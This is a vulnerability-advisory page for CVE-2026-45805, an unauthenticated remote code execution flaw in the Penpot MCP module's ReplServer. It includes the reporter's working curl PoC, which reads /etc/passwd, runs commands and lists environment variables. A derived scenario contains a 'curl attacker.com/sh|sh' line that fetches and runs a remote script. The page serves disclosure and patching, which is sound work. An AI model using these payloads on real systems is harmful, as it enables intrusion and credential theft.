Skip to main content

Penpot MCP CVE-2026-45805

| EUVDEUVD-2026-44700 HIGH
Exposed Dangerous Method or Function (CWE-749)
2026-05-19 https://github.com/penpot/penpot GHSA-22qr-rp27-j9wm
8.8
CVSS 3.1 · Vendor: https://github.com/penpot/penpot
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Scan adjacent network for TCP/4403
  2. Delivery
    Confirm REPL banner on /execute
  3. Exploit
    POST JSON with malicious `code` field
  4. Install
    Node.js evaluates attacker JavaScript
  5. C2
    Spawn child_process for shell commands
  6. Execute
    Exfiltrate process.env secrets and filesystem
  7. Impact
    Pivot using harvested credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Dangerous method exposure prevention
Exploitation Conditions

The Penpot MCP module (@penpot/mcp < 2.15.0) must be installed and the ReplServer process must be running, listening on TCP/4403 - this is not part of Penpot's default Docker deployment, so the host must be a developer or team workstation that opted into the MCP integration for AI-assisted design. The attacker must have network reachability to port 4403 on the victim host, which per the CVSS AV:A scope means same LAN, same Wi-Fi, same VPN segment, or same Docker bridge network - not arbitrary internet attackers. No authentication, no user interaction, no special client configuration, and no non-default server settings are required; the vulnerable bind-to-0.0.0.0 behavior is the default code path. The primary limiter on real-world risk is therefore network adjacency plus the niche deployment footprint of the MCP module, not any per-installation hardening.

Impact

The CVSS 8.8 vector (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) accurately reflects the situation: unauthenticated, low-complexity exploitation yielding full confidentiality, integrity, and availability impact, but limited to the adjacent network (AV:A) rather than the open internet because the MCP module is intended to run locally for developers using AI design integrations. EPSS and CISA KEV data were not provided in the input, so exploitation probability and active-exploit status cannot be quantified; absence in KEV is consistent with this being a recently disclosed advisory in a niche developer tool, not evidence of safety. A functional PoC is embedded in the GHSA advisory itself (curl-based commands demonstrating hostname leak, /etc/passwd read, and arbitrary command execution), so weaponization cost is effectively zero for anyone on the same LAN, Wi-Fi, or Docker bridge network as a developer running the MCP module. Real-world risk concentrates in shared dev environments, CI/CD runners, and corporate networks where the developer's host is reachable from coworkers or compromised peer machines - not in the default Penpot Docker deployment, which does not include this module.

Exploit ScenarioDerived

A developer on a corporate Wi-Fi or in a shared coworking space runs the Penpot MCP module locally on port 4403 for AI-assisted design work. An attacker on the same subnet (or a compromised container on the same Docker bridge network) sends curl -X POST http://victim:4403/execute -d '{"code":"require(\"child_process\").execSync(\"curl attacker.com/sh|sh\")"} and obtains code execution as the developer's user, then exfiltrates process.env for API keys, SSH keys, and database credentials. The PoC in the advisory demonstrates each of these primitives end-to-end.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 19, 2026

Unauthenticated remote code execution in Penpot MCP module's ReplServer (npm @penpot/mcp < 2.15.0) allows anyone on the adjacent network to POST arbitrary JavaScript to a /execute endpoint and have it executed by the Node.js process. The flaw stems from Express defaulting the listen() bind address to 0.0.0.0 instead of localhost, combined with a complete absence of authentication on the REPL endpoint. No public exploit identified at time of analysis beyond the reporter's working PoC included in the GHSA advisory.

RemediationAI

Vendor-released patch: upgrade @penpot/mcp to 2.15.0 or later (npm install @penpot/mcp@2.15.0), which is the fixed version per the GHSA advisory at https://github.com/advisories/GHSA-22qr-rp27-j9wm. Until upgrade is possible, bind the REPL server to loopback by editing mcp/packages/server/src/ReplServer.ts line 89 to pass 'localhost' (or 127.0.0.1) as the host argument to app.listen, mirroring the fix already applied in PenpotMcpServer.ts at line 301. As a network-layer compensating control, block inbound TCP/4403 at the host firewall (iptables/nftables/Windows Defender Firewall) for all non-loopback interfaces, and ensure Docker port mappings do not publish 4403; the trade-off is that any legitimate cross-host MCP REPL usage will break, which is acceptable since the endpoint was never intended for remote use. Adding a shared-secret token check on /execute is a useful defense-in-depth step but should not substitute for the bind fix, since a token alone still exposes the attack surface to brute-force and credential leakage.

Affected VersionsENISA

penpot < 2.15.0

Affected Packages

npm @penpot/mcp fix: 2.15.0
euvd penpot fix: 2.15.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Penpot is an open-source design and prototyping platform; its MCP (Model Context Protocol) module exposes integrations used for AI-assisted design workflows and is shipped as the npm package @penpot/mcp. The vulnerable component is ReplServer.ts, an Express-based HTTP server that calls this.app.listen(this.port, ...) without a host argument - Express then binds to 0.0.0.0, making the service reachable on every network interface rather than only loopback. The /execute route accepts a JSON body with a code field and passes it to PluginBridge.executePluginTask() via an ExecuteCodePluginTask, evaluating it inside the server's Node.js context with full access to require, child_process, fs, and process.env. This maps cleanly to CWE-749 (Exposed Dangerous Method or Function): an internal-only debugging/REPL surface was inadvertently exposed without any access control, and a sibling component (PenpotMcpServer.ts) was already patched for the same binding mistake in issue #8683 while ReplServer.ts was overlooked.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/penpot/penpot) PRIMARY 8.8 HIGH
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/penpot/penpot) · only source for this CVE.

CVSS VectorVendor: https://github.com/penpot/penpot

Attack Vector
Adjacent
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.

Details

mcp/packages/server/src/ReplServer.ts:89:

typescript
this.server = this.app.listen(this.port, () => {
    // NO HOST ARGUMENT - Express defaults to 0.0.0.0

Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):

typescript
this.app.listen(this.port, this.host, async () => {

The /execute endpoint at ReplServer.ts:52-79:

typescript
this.app.post("/execute", async (req, res) => {
    const { code } = req.body;
    // No auth check. Executes code via PluginBridge.executePluginTask()
    const task = new ExecuteCodePluginTask({ code });
    const result = await this.pluginBridge.executePluginTask(task);

No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.

This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.ts - ReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.

PoC

I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.

bash
$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES

Unauthenticated code execution:

bash
$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}

Binding verification:

$ ss -tlnp | grep 4403
LISTEN  0  511  *:4403  *:*  users:(("node",pid=696955,fd=21))

Listening on *:4403 - all interfaces.

Remote access from Docker container:

bash
$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)

Reachable from any container on the Docker network.

Impact

Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.

Suggested fix

Two lines:

  1. Add a host parameter to the listen call in ReplServer.ts:89:
typescript
this.server = this.app.listen(this.port, 'localhost', () => {
  1. Add authentication to the /execute endpoint. Even a shared secret from an environment variable would be better than nothing.

Executive ViewAI

Why It Matters

Penpot MCP module versions prior to 2.15.0 contain an unauthenticated remote code execution vulnerability affecting any system with the vulnerable npm package installed and accessible on the network. An attacker on the adjacent network can execute arbitrary code within the Node.js process, leading to complete system compromise. Organizations must immediately identify affected deployments and implement network controls pending patch availability.

Business Impact: Severe
Compensating Controls

Isolate affected systems on network segment with restricted ingress; restrict firewall rules to deny unauthenticated access to the ReplServer endpoint; require VPN or IP allowlisting for any necessary access; evaluate feasibility of removing @penpot/mcp module if not mission-critical. These controls reduce exposure but do not eliminate vulnerability-vendor patch application is mandatory upon release.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Controlled
Automatable· derived
No
Human Impact
Very High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy